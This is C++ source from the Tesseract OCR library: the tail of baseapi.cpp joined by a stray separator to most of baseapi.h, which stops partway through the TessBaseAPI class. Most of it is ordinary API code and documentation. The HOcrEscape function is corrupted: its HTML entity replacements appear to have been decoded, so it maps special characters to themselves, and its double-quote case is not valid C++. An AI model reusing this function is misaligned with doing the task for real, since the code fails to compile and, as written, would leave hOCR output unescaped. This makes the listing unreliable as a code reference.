void TessBaseAPI::DetectParagraphs(bool after_text_recognition) {
int debug_level = 0;
GetIntVariable("paragraph_debug_level", &debug_level);
if (paragraph_models_ == NULL)
paragraph_models_ = new GenericVector<ParagraphModel*>;
MutableIterator *result_it = GetMutableIterator();
do { // Detect paragraphs for this block
GenericVector<ParagraphModel *> models;
::tesseract::DetectParagraphs(debug_level, after_text_recognition,
result_it, &models);
*paragraph_models_ += models;
} while (result_it->Next(RIL_BLOCK));
delete result_it;
}
struct TESS_CHAR : ELIST_LINK {
char *unicode_repr;
int length; // of unicode_repr
float cost;
TBOX box;
TESS_CHAR(float _cost, const char *repr, int len = -1) : cost(_cost) {
length = (len == -1 ? strlen(repr) : len);
unicode_repr = new char[length + 1];
strncpy(unicode_repr, repr, length);
}
TESS_CHAR() { // Satisfies ELISTIZE.
}
~TESS_CHAR() {
delete [] unicode_repr;
}
};
ELISTIZEH(TESS_CHAR)
ELISTIZE(TESS_CHAR)
static void add_space(TESS_CHAR_IT* it) {
TESS_CHAR *t = new TESS_CHAR(0, " ");
it->add_after_then_move(t);
}
static float rating_to_cost(float rating) {
rating = 100 + rating;
// cuddled that to save from coverage profiler
// (I have never seen ratings worse than -100,
// but the check won't hurt)
if (rating < 0) rating = 0;
return rating;
}
/**
* Extract the OCR results, costs (penalty points for uncertainty),
* and the bounding boxes of the characters.
*/
static void extract_result(TESS_CHAR_IT* out,
PAGE_RES* page_res) {
PAGE_RES_IT page_res_it(page_res);
int word_count = 0;
while (page_res_it.word() != NULL) {
WERD_RES *word = page_res_it.word();
const char *str = word->best_choice->unichar_string().string();
const char *len = word->best_choice->unichar_lengths().string();
TBOX real_rect = word->word->bounding_box();
if (word_count)
add_space(out);
int n = strlen(len);
for (int i = 0; i < n; i++) {
TESS_CHAR *tc = new TESS_CHAR(rating_to_cost(word->best_choice->rating()),
str, *len);
tc->box = real_rect.intersection(word->box_word->BlobBox(i));
out->add_after_then_move(tc);
str += *len;
len++;
}
page_res_it.forward();
word_count++;
}
}
/**
* Extract the OCR results, costs (penalty points for uncertainty),
* and the bounding boxes of the characters.
*/
int TessBaseAPI::TesseractExtractResult(char** text,
int** lengths,
float** costs,
int** x0,
int** y0,
int** x1,
int** y1,
PAGE_RES* page_res) {
TESS_CHAR_LIST tess_chars;
TESS_CHAR_IT tess_chars_it(&tess_chars);
extract_result(&tess_chars_it, page_res);
tess_chars_it.move_to_first();
int n = tess_chars.length();
int text_len = 0;
*lengths = new int[n];
*costs = new float[n];
*x0 = new int[n];
*y0 = new int[n];
*x1 = new int[n];
*y1 = new int[n];
int i = 0;
for (tess_chars_it.mark_cycle_pt();
!tess_chars_it.cycled_list();
tess_chars_it.forward(), i++) {
TESS_CHAR *tc = tess_chars_it.data();
text_len += (*lengths)[i] = tc->length;
(*costs)[i] = tc->cost;
(*x0)[i] = tc->box.left();
(*y0)[i] = tc->box.bottom();
(*x1)[i] = tc->box.right();
(*y1)[i] = tc->box.top();
}
char *p = *text = new char[text_len];
tess_chars_it.move_to_first();
for (tess_chars_it.mark_cycle_pt();
!tess_chars_it.cycled_list();
tess_chars_it.forward()) {
TESS_CHAR *tc = tess_chars_it.data();
strncpy(p, tc->unicode_repr, tc->length);
p += tc->length;
}
return n;
}
/** This method returns the features associated with the input blob. */
// The resulting features are returned in int_features, which must be
// of size MAX_NUM_INT_FEATURES. The number of features is returned in
// num_features (or 0 if there was a failure).
// On return feature_outline_index is filled with an index of the outline
// corresponding to each feature in int_features.
// TODO(rays) Fix the caller to out outline_counts instead.
void TessBaseAPI::GetFeaturesForBlob(TBLOB* blob,
INT_FEATURE_STRUCT* int_features,
int* num_features,
int* feature_outline_index) {
GenericVector<int> outline_counts;
GenericVector<INT_FEATURE_STRUCT> bl_features;
GenericVector<INT_FEATURE_STRUCT> cn_features;
INT_FX_RESULT_STRUCT fx_info;
tesseract_->ExtractFeatures(*blob, false, &bl_features,
&cn_features, &fx_info, &outline_counts);
if (cn_features.size() == 0 || cn_features.size() > MAX_NUM_INT_FEATURES) {
*num_features = 0;
return; // Feature extraction failed.
}
*num_features = cn_features.size();
memcpy(int_features, &cn_features[0], *num_features * sizeof(cn_features[0]));
// TODO(rays) Pass outline_counts back and simplify the calling code.
if (feature_outline_index != NULL) {
int f = 0;
for (int i = 0; i < outline_counts.size(); ++i) {
while (f < outline_counts[i])
feature_outline_index[f++] = i;
}
}
}
// This method returns the row to which a box of specified dimensions would
// belong. If no good match is found, it returns NULL.
ROW* TessBaseAPI::FindRowForBox(BLOCK_LIST* blocks,
int left, int top, int right, int bottom) {
TBOX box(left, bottom, right, top);
BLOCK_IT b_it(blocks);
for (b_it.mark_cycle_pt(); !b_it.cycled_list(); b_it.forward()) {
BLOCK* block = b_it.data();
if (!box.major_overlap(block->bounding_box()))
continue;
ROW_IT r_it(block->row_list());
for (r_it.mark_cycle_pt(); !r_it.cycled_list(); r_it.forward()) {
ROW* row = r_it.data();
if (!box.major_overlap(row->bounding_box()))
continue;
WERD_IT w_it(row->word_list());
for (w_it.mark_cycle_pt(); !w_it.cycled_list(); w_it.forward()) {
WERD* word = w_it.data();
if (box.major_overlap(word->bounding_box()))
return row;
}
}
}
return NULL;
}
/** Method to run adaptive classifier on a blob. */
void TessBaseAPI::RunAdaptiveClassifier(TBLOB* blob,
int num_max_matches,
int* unichar_ids,
float* ratings,
int* num_matches_returned) {
BLOB_CHOICE_LIST* choices = new BLOB_CHOICE_LIST;
tesseract_->AdaptiveClassifier(blob, choices);
BLOB_CHOICE_IT choices_it(choices);
int& index = *num_matches_returned;
index = 0;
for (choices_it.mark_cycle_pt();
!choices_it.cycled_list() && index < num_max_matches;
choices_it.forward()) {
BLOB_CHOICE* choice = choices_it.data();
unichar_ids[index] = choice->unichar_id();
ratings[index] = choice->rating();
++index;
}
*num_matches_returned = index;
delete choices;
}
/** This method returns the string form of the specified unichar. */
const char* TessBaseAPI::GetUnichar(int unichar_id) {
return tesseract_->unicharset.id_to_unichar(unichar_id);
}
/** Return the pointer to the i-th dawg loaded into tesseract_ object. */
const Dawg *TessBaseAPI::GetDawg(int i) const {
if (tesseract_ == NULL || i >= NumDawgs()) return NULL;
return tesseract_->getDict().GetDawg(i);
}
/** Return the number of dawgs loaded into tesseract_ object. */
int TessBaseAPI::NumDawgs() const {
return tesseract_ == NULL ? 0 : tesseract_->getDict().NumDawgs();
}
/** Return a pointer to underlying CubeRecoContext object if present. */
CubeRecoContext *TessBaseAPI::GetCubeRecoContext() const {
return (tesseract_ == NULL) ? NULL : tesseract_->GetCubeRecoContext();
}
/** Escape a char string - remove <>&"' with HTML codes. */
STRING HOcrEscape(const char* text) {
STRING ret;
const char *ptr;
for (ptr = text; *ptr; ptr++) {
switch (*ptr) {
case '<': ret += "<"; break;
case '>': ret += ">"; break;
case '&': ret += "&"; break;
case '"': ret += """; break;
case '\'': ret += "'"; break;
default: ret += *ptr;
}
}
return ret;
}
} // namespace tesseract.
| C++ |
///////////////////////////////////////////////////////////////////////
// File: baseapi.h
// Description: Simple API for calling tesseract.
// Author: Ray Smith
// Created: Fri Oct 06 15:35:01 PDT 2006
//
// (C) Copyright 2006, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#ifndef TESSERACT_API_BASEAPI_H__
#define TESSERACT_API_BASEAPI_H__
#define TESSERACT_VERSION_STR "3.04.00"
#define TESSERACT_VERSION 0x030400
#define MAKE_VERSION(major, minor, patch) (((major) << 16) | ((minor) << 8) | \
(patch))
#include <stdio.h>
// To avoid collision with other typenames include the ABSOLUTE MINIMUM
// complexity of includes here. Use forward declarations wherever possible
// and hide includes of complex types in baseapi.cpp.
#include "platform.h"
#include "apitypes.h"
#include "thresholder.h"
#include "unichar.h"
#include "tesscallback.h"
#include "publictypes.h"
#include "pageiterator.h"
#include "resultiterator.h"
template <typename T> class GenericVector;
class PAGE_RES;
class PAGE_RES_IT;
class ParagraphModel;
struct BlamerBundle;
class BLOCK_LIST;
class DENORM;
class MATRIX;
class ROW;
class STRING;
class WERD;
struct Pix;
struct Box;
struct Pixa;
struct Boxa;
class ETEXT_DESC;
struct OSResults;
class TBOX;
class UNICHARSET;
class WERD_CHOICE_LIST;
struct INT_FEATURE_STRUCT;
typedef INT_FEATURE_STRUCT *INT_FEATURE;
struct TBLOB;
namespace tesseract {
class CubeRecoContext;
class Dawg;
class Dict;
class EquationDetect;
class PageIterator;
class LTRResultIterator;
class ResultIterator;
class MutableIterator;
class TessResultRenderer;
class Tesseract;
class Trie;
class Wordrec;
typedef int (Dict::*DictFunc)(void* void_dawg_args,
UNICHAR_ID unichar_id, bool word_end) const;
typedef double (Dict::*ProbabilityInContextFunc)(const char* lang,
const char* context,
int context_bytes,
const char* character,
int character_bytes);
typedef float (Dict::*ParamsModelClassifyFunc)(
const char *lang, void *path);
typedef void (Wordrec::*FillLatticeFunc)(const MATRIX &ratings,
const WERD_CHOICE_LIST &best_choices,
const UNICHARSET &unicharset,
BlamerBundle *blamer_bundle);
typedef TessCallback4<const UNICHARSET &, int, PageIterator *, Pix *>
TruthCallback;
/**
* Base class for all tesseract APIs.
* Specific classes can add ability to work on different inputs or produce
* different outputs.
* This class is mostly an interface layer on top of the Tesseract instance
* class to hide the data types so that users of this class don't have to
* include any other Tesseract headers.
*/
class TESS_API TessBaseAPI {
public:
TessBaseAPI();
virtual ~TessBaseAPI();
/**
* Returns the version identifier as a static string. Do not delete.
*/
static const char* Version();
/**
* If compiled with OpenCL AND an available OpenCL
* device is deemed faster than serial code, then
* "device" is populated with the cl_device_id
* and returns sizeof(cl_device_id)
* otherwise *device=NULL and returns 0.
*/
static size_t getOpenCLDevice(void **device);
/**
* Writes the thresholded image to stderr as a PBM file on receipt of a
* SIGSEGV, SIGFPE, or SIGBUS signal. (Linux/Unix only).
*/
static void CatchSignals();
/**
* Set the name of the input file. Needed for training and
* reading a UNLV zone file, and for searchable PDF output.
*/
void SetInputName(const char* name);
/**
* These functions are required for searchable PDF output.
* We need our hands on the input file so that we can include
* it in the PDF without transcoding. If that is not possible,
* we need the original image. Finally, resolution metadata
* is stored in the PDF so we need that as well.
*/
const char* GetInputName();
void SetInputImage(Pix *pix);
Pix* GetInputImage();
int GetSourceYResolution();
const char* GetDatapath();
/** Set the name of the bonus output files. Needed only for debugging. */
void SetOutputName(const char* name);
/**
* Set the value of an internal "parameter."
* Supply the name of the parameter and the value as a string, just as
* you would in a config file.
* Returns false if the name lookup failed.
* Eg SetVariable("tessedit_char_blacklist", "xyz"); to ignore x, y and z.
* Or SetVariable("classify_bln_numeric_mode", "1"); to set numeric-only mode.
* SetVariable may be used before Init, but settings will revert to
* defaults on End().
*
* Note: Must be called after Init(). Only works for non-init variables
* (init variables should be passed to Init()).
*/
bool SetVariable(const char* name, const char* value);
bool SetDebugVariable(const char* name, const char* value);
/**
* Returns true if the parameter was found among Tesseract parameters.
* Fills in value with the value of the parameter.
*/
bool GetIntVariable(const char *name, int *value) const;
bool GetBoolVariable(const char *name, bool *value) const;
bool GetDoubleVariable(const char *name, double *value) const;
/**
* Returns the pointer to the string that represents the value of the
* parameter if it was found among Tesseract parameters.
*/
const char *GetStringVariable(const char *name) const;
/**
* Print Tesseract parameters to the given file.
*/
void PrintVariables(FILE *fp) const;
/**
* Get value of named variable as a string, if it exists.
*/
bool GetVariableAsString(const char *name, STRING *val);
/**
* Instances are now mostly thread-safe and totally independent,
* but some global parameters remain. Basically it is safe to use multiple
* TessBaseAPIs in different threads in parallel, UNLESS:
* you use SetVariable on some of the Params in classify and textord.
* If you do, then the effect will be to change it for all your instances.
*
* Start tesseract. Returns zero on success and -1 on failure.
* NOTE that the only members that may be called before Init are those
* listed above here in the class definition.
*
* The datapath must be the name of the parent directory of tessdata and
* must end in / . Any name after the last / will be stripped.
* The language is (usually) an ISO 639-3 string or NULL will default to eng.
* It is entirely safe (and eventually will be efficient too) to call
* Init multiple times on the same instance to change language, or just
* to reset the classifier.
* The language may be a string of the form [~]<lang>[+[~]<lang>]* indicating
* that multiple languages are to be loaded. Eg hin+eng will load Hindi and
* English. Languages may specify internally that they want to be loaded
* with one or more other languages, so the ~ sign is available to override
* that. Eg if hin were set to load eng by default, then hin+~eng would force
* loading only hin. The number of loaded languages is limited only by
* memory, with the caveat that loading additional languages will impact
* both speed and accuracy, as there is more work to do to decide on the
* applicable language, and there is more chance of hallucinating incorrect
* words.
* WARNING: On changing languages, all Tesseract parameters are reset
* back to their default values. (Which may vary between languages.)
* If you have a rare need to set a Variable that controls
* initialization for a second call to Init you should explicitly
* call End() and then use SetVariable before Init. This is only a very
* rare use case, since there are very few uses that require any parameters
* to be set before Init.
*
* If set_only_non_debug_params is true, only params that do not contain
* "debug" in the name will be set.
*/
int Init(const char* datapath, const char* language, OcrEngineMode mode,
char **configs, int configs_size,
const GenericVector<STRING> *vars_vec,
const GenericVector<STRING> *vars_values,
bool set_only_non_debug_params);
int Init(const char* datapath, const char* language, OcrEngineMode oem) {
return Init(datapath, language, oem, NULL, 0, NULL, NULL, false);
}
int Init(const char* datapath, const char* language) {
return Init(datapath, language, OEM_DEFAULT, NULL, 0, NULL, NULL, false);
}
/**
* Returns the languages string used in the last valid initialization.
* If the last initialization specified "deu+hin" then that will be
* returned. If hin loaded eng automatically as well, then that will
* not be included in this list. To find the languages actually
* loaded use GetLoadedLanguagesAsVector.
* The returned string should NOT be deleted.
*/
const char* GetInitLanguagesAsString() const;
/**
* Returns the loaded languages in the vector of STRINGs.
* Includes all languages loaded by the last Init, including those loaded
* as dependencies of other loaded languages.
*/
void GetLoadedLanguagesAsVector(GenericVector<STRING>* langs) const;
/**
* Returns the available languages in the vector of STRINGs.
*/
void GetAvailableLanguagesAsVector(GenericVector<STRING>* langs) const;
/**
* Init only the lang model component of Tesseract. The only functions
* that work after this init are SetVariable and IsValidWord.
* WARNING: temporary! This function will be removed from here and placed
* in a separate API at some future time.
*/
int InitLangMod(const char* datapath, const char* language);
/**
* Init only for page layout analysis. Use only for calls to SetImage and
* AnalysePage. Calls that attempt recognition will generate an error.
*/
void InitForAnalysePage();
/**
* Read a "config" file containing a set of param, value pairs.
* Searches the standard places: tessdata/configs, tessdata/tessconfigs
* and also accepts a relative or absolute path name.
* Note: only non-init params will be set (init params are set by Init()).
*/
void ReadConfigFile(const char* filename);
/** Same as above, but only set debug params from the given config file. */
void ReadDebugConfigFile(const char* filename);
/**
* Set the current page segmentation mode. Defaults to PSM_SINGLE_BLOCK.
* The mode is stored as an IntParam so it can also be modified by
* ReadConfigFile or SetVariable("tessedit_pageseg_mode", mode as string).
*/
void SetPageSegMode(PageSegMode mode);
/** Return the current page segmentation mode. */
PageSegMode GetPageSegMode() const;
/**
* Recognize a rectangle from an image and return the result as a string.
* May be called many times for a single Init.
* Currently has no error checking.
* Greyscale of 8 and color of 24 or 32 bits per pixel may be given.
* Palette color images will not work properly and must be converted to
* 24 bit.
* Binary images of 1 bit per pixel may also be given but they must be
* byte packed with the MSB of the first byte being the first pixel, and a
* 1 represents WHITE. For binary images set bytes_per_pixel=0.
* The recognized text is returned as a char* which is coded
* as UTF8 and must be freed with the delete [] operator.
*
* Note that TesseractRect is the simplified convenience interface.
* For advanced uses, use SetImage, (optionally) SetRectangle, Recognize,
* and one or more of the Get*Text functions below.
*/
char* TesseractRect(const unsigned char* imagedata,
int bytes_per_pixel, int bytes_per_line,
int left, int top, int width, int height);
/**
* Call between pages or documents etc to free up memory and forget
* adaptive data.
*/
void ClearAdaptiveClassifier();
/**
* @defgroup AdvancedAPI Advanced API
* The following methods break TesseractRect into pieces, so you can
* get hold of the thresholded image, get the text in different formats,
* get bounding boxes, confidences etc.
*/
/* @{ */
/**
* Provide an image for Tesseract to recognize. Format is as
* TesseractRect above. Does not copy the image buffer, or take
* ownership. The source image may be destroyed after Recognize is called,
* either explicitly or implicitly via one of the Get*Text functions.
* SetImage clears all recognition results, and sets the rectangle to the
* full image, so it may be followed immediately by a GetUTF8Text, and it
* will automatically perform recognition.
*/
void SetImage(const unsigned char* imagedata, int width, int height,
int bytes_per_pixel, int bytes_per_line);
/**
* Provide an image for Tesseract to recognize. As with SetImage above,
* Tesseract doesn't take a copy or ownership or pixDestroy the image, so
* it must persist until after Recognize.
* Pix vs raw, which to use?
* Use Pix where possible. A future version of Tesseract may choose to use Pix
* as its internal representation and discard IMAGE altogether.
* Because of that, an implementation that sources and targets Pix may end up
* with less copies than an implementation that does not.
*/
void SetImage(Pix* pix);
/**
* Set the resolution of the source image in pixels per inch so font size
* information can be calculated in results. Call this after SetImage().
*/
void SetSourceResolution(int ppi);
/**
* Restrict recognition to a sub-rectangle of the image. Call after SetImage.
* Each SetRectangle clears the recogntion results so multiple rectangles
* can be recognized with the same image.
*/
void SetRectangle(int left, int top, int width, int height);
/**
* In extreme cases only, usually with a subclass of Thresholder, it
* is possible to provide a different Thresholder. The Thresholder may
* be preloaded with an image, settings etc, or they may be set after.
* Note that Tesseract takes ownership of the Thresholder and will
* delete it when it it is replaced or the API is destructed.
*/
void SetThresholder(ImageThresholder* thresholder) {
if (thresholder_ != NULL)
delete thresholder_;
thresholder_ = thresholder;
ClearResults();
}
/**
* Get a copy of the internal thresholded image from Tesseract.
* Caller takes ownership of the Pix and must pixDestroy it.
* May be called any time after SetImage, or after TesseractRect.
*/
Pix* GetThresholdedImage();
/**
* Get the result of page layout analysis as a leptonica-style
* Boxa, Pixa pair, in reading order.
* Can be called before or after Recognize.
*/
Boxa* GetRegions(Pixa** pixa);
/**
* Get the textlines as a leptonica-style
* Boxa, Pixa pair, in reading order.
* Can be called before or after Recognize.
* If raw_image is true, then extract from the original image instead of the
* thresholded image and pad by raw_padding pixels.
* If blockids is not NULL, the block-id of each line is also returned as an
* array of one element per line. delete [] after use.
* If paraids is not NULL, the paragraph-id of each line within its block is
* also returned as an array of one element per line. delete [] after use.
*/
Boxa* GetTextlines(const bool raw_image, const int raw_padding,
Pixa** pixa, int** blockids, int** paraids);
/*
Helper method to extract from the thresholded image. (most common usage)
*/
Boxa* GetTextlines(Pixa** pixa, int** blockids) {
return GetTextlines(false, 0, pixa, blockids, NULL);
}
/**
* Get textlines and strips of image regions as a leptonica-style Boxa, Pixa
* pair, in reading order. Enables downstream handling of non-rectangular
* regions.
* Can be called before or after Recognize.
* If blockids is not NULL, the block-id of each line is also returned as an
* array of one element per line. delete [] after use.
*/
Boxa* GetStrips(Pixa** pixa, int** blockids);
/**
* Get the words as a leptonica-style
* Boxa, Pixa pair, in reading order.
* Can be called before or after Recognize.
*/
Boxa* GetWords(Pixa** pixa);
/**
* Gets the individual connected (text) components (created
* after pages segmentation step, but before recognition)
* as a leptonica-style Boxa, Pixa pair, in reading order.
* Can be called before or after Recognize.
* Note: the caller is responsible for calling boxaDestroy()
* on the returned Boxa array and pixaDestroy() on cc array.
*/
Boxa* GetConnectedComponents(Pixa** cc);
/**
* Get the given level kind of components (block, textline, word etc.) as a
* leptonica-style Boxa, Pixa pair, in reading order.
* Can be called before or after Recognize.
* If blockids is not NULL, the block-id of each component is also returned
* as an array of one element per component. delete [] after use.
* If blockids is not NULL, the paragraph-id of each component with its block
* is also returned as an array of one element per component. delete [] after
* use.
* If raw_image is true, then portions of the original image are extracted
* instead of the thresholded image and padded with raw_padding.
* If text_only is true, then only text components are returned.
*/
Boxa* GetComponentImages(const PageIteratorLevel level,
const bool text_only, const bool raw_image,
const int raw_padding,
Pixa** pixa, int** blockids, int** paraids);
// Helper function to get binary images with no padding (most common usage).
Boxa* GetComponentImages(const PageIteratorLevel level,
const bool text_only,
Pixa** pixa, int** blockids) {
return GetComponentImages(level, text_only, false, 0, pixa, blockids, NULL);
}
/**
* Returns the scale factor of the thresholded image that would be returned by
* GetThresholdedImage() and the various GetX() methods that call
* GetComponentImages().
* Returns 0 if no thresholder has been set.
*/
int GetThresholdedImageScaleFactor() const;
/**
* Dump the internal binary image to a PGM file.
* @deprecated Use GetThresholdedImage and write the image using pixWrite
* instead if possible.
*/
void DumpPGM(const char* filename);
/**
* Runs page layout analysis in the mode set by SetPageSegMode.
* May optionally be called prior to Recognize to get access to just
* the page layout results. Returns an iterator to the results.
* If merge_similar_words is true, words are combined where suitable for use
* with a line recognizer. Use if you want to use AnalyseLayout to find the
* textlines, and then want to process textline fragments with an external
* line recognizer.
* Returns NULL on error or an empty page.
* The returned iterator must be deleted after use.
* WARNING! This class points to data held within the TessBaseAPI class, and
* therefore can only be used while the TessBaseAPI class still exists and
* has not been subjected to a call of Init, SetImage, Recognize, Clear, End
* DetectOS, or anything else that changes the internal PAGE_RES.
*/
PageIterator* AnalyseLayout() {
return AnalyseLayout(false);
}
PageIterator* AnalyseLayout(bool merge_similar_words);
/**
* Recognize the image from SetAndThresholdImage, generating Tesseract
* internal structures. Returns 0 on success.
* Optional. The Get*Text functions below will call Recognize if needed.
* After Recognize, the output is kept internally until the next SetImage.
*/
int Recognize(ETEXT_DESC* monitor);
/**
* Methods to retrieve information after SetAndThresholdImage(),
* Recognize() or TesseractRect(). (Recognize is called implicitly if needed.)
*/
/** Variant on Recognize used for testing chopper. */
int RecognizeForChopTest(ETEXT_DESC* monitor);
/**
* Turns images into symbolic text.
*
* filename can point to a single image, a multi-page TIFF,
* or a plain text list of image filenames.
*
* retry_config is useful for debugging. If not NULL, you can fall
* back to an alternate configuration if a page fails for some
* reason.
*
* timeout_millisec terminates processing if any single page
* takes too long. Set to 0 for unlimited time.
*
* renderer is responible for creating the output. For example,
* use the TessTextRenderer if you want plaintext output, or
* the TessPDFRender to produce searchable PDF.
*
* If tessedit_page_number is non-negative, will only process that
* single page. Works for multi-page tiff file, or filelist.
*
* Returns true if successful, false on error.
*/
bool ProcessPages(const char* filename,
const char* retry_config, int timeout_millisec,
TessResultRenderer* renderer);
/**
* Turn a single image into symbolic text.
*
* The pix is the image processed. filename and page_index are
* metadata used by side-effect processes, such as reading a box
* file or formatting as hOCR.
*
* See ProcessPages for desciptions of other parameters.
*/
bool ProcessPage(Pix* pix, int page_index, const char* filename,
const char* retry_config, int timeout_millisec,
TessResultRenderer* renderer);
/**
* Get a reading-order iterator to the results of LayoutAnalysis and/or
* Recognize. The returned iterator must be deleted after use.
* WARNING! This class points to data held within the TessBaseAPI class, and
* therefore can only be used while the TessBaseAPI class still exists and
* has not been subjected to a call of Init, SetImage, Recognize, Clear, End
* DetectOS, or anything else that changes the internal PAGE_RES.
*/
ResultIterator* GetIterator();
/**
* Get a mutable iterator to the results of LayoutAnalysis and/or Recognize.
* The returned iterator must be deleted after use.
* WARNING! This class points to data held within the TessBaseAPI class, and
* therefore can only be used while the TessBaseAPI class still exists and
* has not been subjected to a call of Init, SetImage, Recognize, Clear, End
* DetectOS, or anything else that changes the internal PAGE_RES.
*/
MutableIterator* GetMutableIterator();
/**
* The recognized text is returned as a char* which is coded
* as UTF8 and must be freed with the delete [] operator.
*/
char* GetUTF8Text();
/**
* Make a HTML-formatted string with hOCR markup from the internal
* data structures.
* page_number is 0-based but will appear in the output as 1-based.
*/
char* GetHOCRText(int page_number);
/**
* The recognized text is returned as a char* which is coded in the same
* format as a box file used in training. Returned string must be freed with
* the delete [] operator.
* Constructs coordinates in the original image - not just the rectangle.
* page_number is a 0-based page index that will appear in the box file.
*/
char* GetBoxText(int page_number);
/**
* The recognized text is returned as a char* which is coded
* as UNLV format Latin-1 with specific reject and suspect codes
* and must be freed with the delete [] operator.
*/
char* GetUNLVText();
/** Returns the (average) confidence value between 0 and 100. */
int MeanTextConf();
/**
* Returns all word confidences (between 0 and 100) in an array, terminated
* by -1. The calling function must delete [] after use.
* The number of confidences should correspond to the number of space-
* delimited words in GetUTF8Text.
*/
int* AllWordConfidences();
/**
* Applies the given word to the adaptive classifier if possible.
* The word must be SPACE-DELIMITED UTF-8 - l i k e t h i s , so it can
* tell the boundaries of the graphemes.
* Assumes that SetImage/SetRectangle have been used to set the image
* to the given word. The mode arg should be PSM_SINGLE_WORD or
* PSM_CIRCLE_WORD, as that will be used to control layout analysis.
* The currently set PageSegMode is preserved.
* Returns false if adaption was not possible for some reason.
*/
bool AdaptToWordStr(PageSegMode mode, const char* wordstr);
/**
* Free up recognition results and any stored image data, without actually
* freeing any recognition data that would be time-consuming to reload.
* Afterwards, you must call SetImage or TesseractRect before doing
* any Recognize or Get* operation.
*/
void Clear();
/**
* Close down tesseract and free up all memory. End() is equivalent to
* destructing and reconstructing your TessBaseAPI.
* Once End() has been used, none of the other API functions may be used
* other than Init and anything declared above it in the class definition.
*/
void End();
/**
* Clear any library-level memory caches.
* There are a variety of expensive-to-load constant data structures (mostly
* language dictionaries) that are cached globally -- surviving the Init()
* and End() of individual TessBaseAPI's. This function allows the clearing
* of these caches.
**/
static void ClearPersistentCache();
/**
* Check whether a word is valid according to Tesseract's language model
* @return 0 if the word is invalid, non-zero if valid.
* @warning temporary! This function will be removed from here and placed
* in a separate API at some future time.
*/
int IsValidWord(const char *word);
// Returns true if utf8_character is defined in the UniCharset.
bool IsValidCharacter(const char *utf8_character);
bool GetTextDirection(int* out_offset, float* out_slope);
/** Sets Dict::letter_is_okay_ function to point to the given function. */
void SetDictFunc(DictFunc f);
/** Sets Dict::probability_in_context_ function to point to the given
* function.
*/
void SetProbabilityInContextFunc(ProbabilityInContextFunc f);
/** Sets Wordrec::fill_lattice_ function to point to the given function. */
void SetFillLatticeFunc(FillLatticeFunc f);
/**
* Estimates the Orientation And Script of the image.
* @return true if the image was processed successfully.
*/
bool DetectOS(OSResults*);
/** This method returns the features associated with the input image. */
void GetFeaturesForBlob(TBLOB* blob, INT_FEATURE_STRUCT* int_features,
int* num_features, int* feature_outline_index);
/**
* This method returns the row to which a box of specified dimensions would
* belong. If no good match is found, it returns NULL.
*/
static ROW* FindRowForBox(BLOCK_LIST* blocks, int left, int top,
int right, int bottom);
/**
* Method to run adaptive classifier on a blob.
* It returns at max num_max_matches results.
*/
void RunAdaptiveClassifier(TBLOB* blob,
int num_max_matches,
int* unichar_ids,
float* ratings,
int* num_matches_returned);
/** This method returns the string form of the specified unichar. */
const char* GetUnichar(int unichar_id);
/** Return the pointer to the i-th dawg loaded into tesseract_ object. */
const Dawg *GetDawg(int i) const;
/** Return the number of dawgs loaded into tesseract_ object. */
int NumDawgs() const;
/** Returns a ROW object created from the input row specification. */
static ROW *MakeTessOCRRow(float baseline, float xheight,
float descender, float ascender);
/** Returns a TBLOB corresponding to the entire input image. */
static TBLOB *MakeTBLOB(Pix *pix);
/**
* This method baseline normalizes a TBLOB in-place. The input row is used
* for normalization. The denorm is an optional parameter in which the
* normalization-antidote is returned.
*/
static void NormalizeTBLOB(TBLOB *tblob, ROW *row, bool numeric_mode);
Tesseract* const tesseract() const {
return tesseract_;
}
OcrEngineMode const oem() const {
return last_oem_requested_;
}
void InitTruthCallback(TruthCallback *cb) { truth_cb_ = cb; }
/** Return a pointer to underlying CubeRecoContext object if present. */
CubeRecoContext *GetCubeRecoContext() const;
void set_min_orientation_margin(double margin);
/**
* Return text orientation of each block as determined by an earlier run
* of layout analysis.
*/
void GetBlockTextOrientations(int** block_orientation,
bool** vertical_writing);
/** Find lines from the image making the BLOCK_LIST. */
BLOCK_LIST* FindLinesCreateBlockList();
/**
* Delete a block list.
* This is to keep BLOCK_LIST pointer opaque
* and let go of including the other headers.
*/
static void DeleteBlockList(BLOCK_LIST* block_list);
/* @} */
protected:
/** Common code for setting the image. Returns true if Init has been called. */
TESS_LOCAL bool InternalSetImage();
/**
* Run the thresholder to make the thresholded image. If pix is not NULL,
* the source is thresholded to pix instead of the internal IMAGE.
*/
TESS_LOCAL virtual void Threshold(Pix** pix);
/**
* Find lines from the image making the BLOCK_LIST.
* @return 0 on success.
*/
TESS_LOCAL int FindLines();
/** Delete the pageres and block list ready for a new page. */
void ClearResults();
/**
* Return an LTR Result Iterator -- used only for training, as we really want
* to ignore all BiDi smarts at that point.
* delete once you're done with it.
*/
TESS_LOCAL LTRResultIterator* GetLTRIterator();
/**
* Return the length of the output text string, as UTF8, assuming
* one newline per line and one per block, with a terminator,
* and assuming a single character reject marker for each rejected character.
* Also return the number of recognized blobs in blob_count.
*/
TESS_LOCAL int TextLength(int* blob_count);
/** @defgroup ocropusAddOns ocropus add-ons */
/* @{ */
/**
* Adapt to recognize the current image as the given character.
* The image must be preloaded and be just an image of a single character.
*/
TESS_LOCAL void AdaptToCharacter(const char *unichar_repr,
int length,
float baseline,
float xheight,
float descender,
float ascender);
/** Recognize text doing one pass only, using settings for a given pass. */
TESS_LOCAL PAGE_RES* RecognitionPass1(BLOCK_LIST* block_list);
TESS_LOCAL PAGE_RES* RecognitionPass2(BLOCK_LIST* block_list,
PAGE_RES* pass1_result);
//// paragraphs.cpp ////////////////////////////////////////////////////
TESS_LOCAL void DetectParagraphs(bool after_text_recognition);
/**
* Extract the OCR results, costs (penalty points for uncertainty),
* and the bounding boxes of the characters.
*/
TESS_LOCAL static int TesseractExtractResult(char** text,
int** lengths,
float** costs,
int** x0,
int** y0,
int** x1,
int** y1,
PAGE_RES* page_res);
TESS_LOCAL const PAGE_RES* GetPageRes() const {
return page_res_;
};
/* @} */
protected:
Tesseract* tesseract_; ///< The underlying data object.
Tesseract* osd_tesseract_; ///< For orientation & script detection.
EquationDetect* equ_detect_; ///<The equation detector.
ImageThresholder* thresholder_; ///< Image thresholding module.
GenericVector<ParagraphModel *>* paragraph_models_;
